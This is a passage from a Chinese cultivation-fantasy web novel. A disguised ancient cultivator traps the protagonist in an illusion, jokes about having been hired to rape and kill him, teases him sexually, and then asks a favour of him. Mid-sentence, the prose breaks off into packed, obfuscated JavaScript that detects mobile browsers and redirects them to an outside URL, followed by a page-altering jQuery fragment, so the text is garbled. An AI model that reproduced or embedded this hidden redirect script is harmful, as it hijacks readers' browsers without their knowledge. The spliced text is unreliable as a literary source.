温天霁摩拳擦掌:“那你还不快破除阵法,找到阵眼。” 柏清苦笑一下:“没有那么容易,想要破除惨子狸的阵法,首先要以身入阵。” 温天霁想也没想,道:“那你入阵,给我破阵,我在一旁等你。” “我也想这样。”柏清脸上的微笑更加苦涩了,“但是自从我们两个人进入迷雾的瞬间,我们两个人都已经入阵了。” 温天霁:“……” 他根本不擅长破阵好不好?他完全不了解阵法啊喂! 迷雾越来越浓厚,厚到温天霁都看不清眼前的柏清。 柏清只得对温天霁道:“妻主,我已经抓紧你的右手,无论如何,你都不要放开我的手。” “明白了。”温天霁严阵以待。 等了许久,温天霁眼前的迷雾逐渐散去,眼前的景物是温府大堂。 柏清坐在大堂正北,一袭金丝蟒龙玄裳,整个人气势锐不可当。 温天霁皱了皱眉:“柏清,你怎么敢坐在温家家主的位置上?还不快给我下来!” 柏清饶有趣味地扫了他一眼,释放出威压,直接让温天霁动弹不得。 “我的手下败将,也敢对我大放厥词。我如今是修真界的第一人,我想坐哪里,就坐哪里,轮得到你置喙?” 修真界第一人? 温天霁嗤笑一声:“少看点番茄小说,还修真界第一人,你就是我随意蹂|躏的一条忠犬。” 柏清起身,走到温天霁身前,用金丝折骨扇挑起温天霁的下颔:“我是你的忠犬?那是过去的事了。如今我觉醒了古神血脉,又得到了应龙传承,岂是你可以战胜的。” 温天霁心中一紧:“你这么快得到应龙传承了?” 如果温天霁没有记错的话,现在剧情还在前期,而柏清得到应龙传承的事,是在小说中后期。 那时候,柏清都已经大乘期了,得到应龙传承后直接晋升为渡劫期大圆满,只差一步就能飞升。 “快?”柏清垂下眼眸,“自从你把我从极天西崖推下去,已经过去三百年了,这叫快?你可知道我这三百年是怎么度过的?” 将柏清推下极天西崖,是剧情中期的事,他根本没有做过。 听到这里,温天霁终于可以确定,眼前的柏清是假的,是幻象。 温天霁想起之前柏清对他说的话——无论如何,你都不要放开我的手。 温天霁攥紧右手,果然发现自己还握着柏清的手,只是自己看不见柏清这个人而已。 22. 第 22 章 “柏清!”温天霁大声喊柏清,试图唤醒身旁隐形的人,但效果却让他失望了。 只见眼前那个样貌俊美,长眉入鬓,长相凌厉,气势迫人的渡劫期柏清挑了挑眉。 “娘子,唤我作甚?这时候想唤我名字,让我想起我们之间的‘恩情’了?只可惜,我们之间只有仇恨,没有恩情啊。” “娘子?”温天霁冷笑一声,“谁是你娘子?你究竟是何人,为何要假扮成柏清的样子来戏弄我?我观你修为,至少有合体期以上,犯不着和我们这种小辈计较。” “我就是柏清啊。”柏清笑了一下,“有一点你说对了,我修为是合体期以上,应该说,我是当世第一人,有渡劫期的修为。” 温天霁白眼都快翻出天际了,没好气道:“你省省吧。如今修真界第一人是我大哥温满,你又算什么东西。你要是对我不善,我大哥不会放过你的!” 柏清还是笑着,但是笑容是轻蔑的:“谁说你大哥是当今第一人?你莫不是忘了天衍宗避世不出的老祖连城汀了?” “哦!”温天霁见自己套出话来,得意一笑,“所以前辈就是天衍宗避世不出的老祖连城汀?” 连城汀摸了摸鼻子,皱起眉头,不解地问:“你怎么会知道 ?” 温天霁心想这个连城汀当真是避世不出,将脑子也避了,这么简单的试探,对方竟然果断承认了。 温天霁干笑道:“我只是随口一问,不料前辈竟然承认了。” 连城汀:“……” 温天霁这下是当真有些好奇了:“听闻前辈避世不出,已有三千多年,怎么今日竟然来为难我这么一个素未谋面的小辈呢?” 连城汀咳嗽两声:“说来话长。” 原来连城汀闭关的时候,已经有渡劫后期的修为,等到一千年过去,已然是渡劫期大圆满,只差临门一脚,就能飞升成仙。 但是飞升成仙需要机缘,他闭关了两千年,也没有等到这个机缘,于是他开始主动出击,采取了“化凡”的策略。 化凡就是让自己的分|身伪装成没有修为的凡人,进入人间,以凡人的姿态生活,领悟生死轮回和天道。 化凡一般是在出窍晋升分神的时候才会采用的,因为要领悟分神期才有的分神意境。 但是连城汀太过妖孽,他出窍晋升分神,几乎没有费什么气力,一下就领悟了“摘花”意境,因此便省略了化凡这一过程。 温天霁听到这里,一头雾水:“这和前辈来戏弄我有什么联系吗?” “都说了说来话长,别打断我。”连城汀道。 连城汀当初领悟“摘花”意境,是一场美丽的意外。 当初第一美人温荷合——没错,也是温家的——在桃花树下,摘下一朵桃花,拈花一笑,当真人面桃花相映红。 连城汀见了这美景,顿时领悟了“摘花”意境,由出窍期晋升为分神期。 连城汀为了再现这美景,所以化凡成了一名…… 呃…… 采花贼。 专门掳劫美人,让她们在桃花下摘花一笑。 听到这里,温天霁有些无语:“所以前辈是想要掳劫我,让我在桃花下拈花一笑,好让前辈再次领悟‘摘花’意境吗?” “这倒不是。”连城汀道,“我是受人之托,专门来对你行先奸后杀之事的。” 温天霁:“……” 温天霁沉默了一瞬,而后干笑道:“前辈莫要开小辈玩笑。” 岂料连城汀很严肃,很郑重,一本正经道:“我没有开玩笑。” 连城汀开始解释起来:“我在化凡的时候,去掳劫马家女子,但是那女子有分神期的修为,我的化|身无奈,只好用出了合体期的修为。但是没有想到,我中计了,被一群合体期的马家人包围。他们逮捕我之后,将我关押起来。” “他们一开始是准备将我献给天衍宗,准备邀功,说是捉拿到了为祸人间的采花贼。” “但是后来有个叫做马啸风的小辈说,只要我进入秘境,将一个叫做温天霁的人先奸后杀,就放我走。” 温天霁:“……” 我的沉默震耳欲聋。 温天霁叹了一口气,摸不着头脑:“我和马啸风就见过几面,应该没有仇才对。而且我已婚配,没有抢走他的心上人,他干嘛对我敌意这么大?” 连城汀打了个哈欠,伸了个懒腰:“我怎么知道。” 温天霁将事情始末弄清楚之后,松了一口气:“前辈,既然我们无冤无仇,那么现在你可以放过我了吗?” 连城汀顶着柏清的样貌,淫|笑起来:“不能。我突然发现你长得特别貌美,竟然比三千多年前的温荷合还要好看上几分。这样的美人,若是能和我春风一度,那真是我的幸事啊。” 温天霁嘴角的弧度落下一些,声音沙哑:“前辈不要和我开玩笑了,我蒲柳之姿,岂能入前辈的法眼?” “过于自谦就是自负哦。” 连城汀手上使了几分力气,金丝折骨扇将温天霁的脸颊挑起,更加方便连城汀看清温天霁的样貌。 “真是个美人胚子,”连城汀凑上前去,在温天霁额头上轻嗅,“我活了三千五百多年,头一次见到这样美的人。” 温天霁闻言,生怕自己真的被连城汀看上,连忙诋毁自己:“我已经成婚,被人睡了千百遍,不干净了,想来前辈肯定看不上眼。” “呃……”连城汀只是扫了一眼,就发觉温天霁还是处子之身,不知道温天霁这婚是怎么结的。 而且他调戏温天霁只是自己恶趣味犯了,并不是真的想要亵玩温天霁,但是看温天霁这着急的模样,他倒是不急着放开对方了。 “没有关系。”连城汀恶劣一笑,露出玩味的表情,“脆生生的桃子固然鲜美,但是熟透了水蜜桃更加诱人采撷。既然你都被你丈夫睡了千百遍了,想来你会的花活肯定很多,不如我们这就来试试。” 温天霁真是有种搬起石头砸自己的脚的无力感:“前辈,我什么花活都不会,我只会躺尸享受, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15156310|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我就是一个枕头公主。” 连城汀咂摸了一下,才明白过来枕头公主是什么意思,当即朗笑出声:“你这孩子,还挺有意思。” “没意思,没意思,”温天霁连忙否认,生怕连城汀对自己感兴趣,“我这个非常无聊的,就连我夫君都说我和死人差不多。” 连城汀意味深长道:“那你夫君能睡死人千百遍,心理素质也挺强大的。” 温天霁:“……” 沉默,沉默是今早的温天霁。 “好了,不和你开玩笑了,”连城汀收起调笑的模样,恢复成一本正经,“看你长得和温荷合几分相像,又是温家后裔,能不能帮我一个忙?” 温天霁心想,你果然是和我开玩笑,却害得我好一阵紧张:“前辈,但说无妨。” “等你完成旭日大比,进入天衍宗后,能否在春日桃花盛开之际,在渝州城东门桃花林里,摘花,然后拈花一笑?”连城汀问。 温天霁当即笑道:“没有问题。所以,前辈,你能否收起威压,松开对我的桎梏?” 连城汀道:“好说好说。” 温天霁感受到威压撤去,当即用手拨开了抵着他下巴的金丝折骨扇,得寸进尺道:“对了,前辈,既然我答应帮你忙,你能否也帮我一个忙?” 连城汀问:“什么忙?” 温天霁心想,这个忙应该可以,于是道:“帮我和柏清抓住惨子狸。” 连城汀果然没有拒绝,一口答应:“可。” 温天霁心中窃喜,没想到可以白嫖一颗惨子狸的魔晶。 “等等。”连城汀忽地笑了起来,“这个忙可能不需要我来帮了,因为你的好夫君恐怕已经能够抓住惨子狸了。” “对了。”连城汀继续道,“说起来,你和你夫君也是有意思。你的脑子里有一本话本,里面全是关于你夫君的内容,话本里还写了你夫君未来会将你做成人彘。” “可是我看他现在,分明对你爱得很,就像你说的,他是你手下的一条忠犬。只要你以后不将他推入极天西崖,应该就不会发生被做成人彘这种惨事。” 说完这段话,连城汀顶着柏清的样貌,逐渐化为氤氲的水雾,消失在温天霁眼前。 “前辈!前辈!” 任由温天霁怎么叫连城汀,连城汀都不搭理,只是留下最后一句话:“你的夫君就要破开迷障了,我先走一步。” 很快,迷雾散去。 隐身的柏清也开始显形。 柏清激动地抓着温天霁的手,焦急地问:“妻主,你没有事吧?” 温天霁甩开柏清的手,瞥了他一眼:“我能有什么事?快说,你找没找到真烦的阵眼?” “找到了。”柏清说着,脸上浮现出红晕,“就是打开这个阵眼的方法有些难以启齿。” “快说,要怎么才能打开这个阵眼,抓住惨子狸?”温天霁忙问。 “这个……”柏清顿了顿,缓缓开口,“需要人的体|液浇灌阵眼,才能破除阵法,抓住惨子狸。”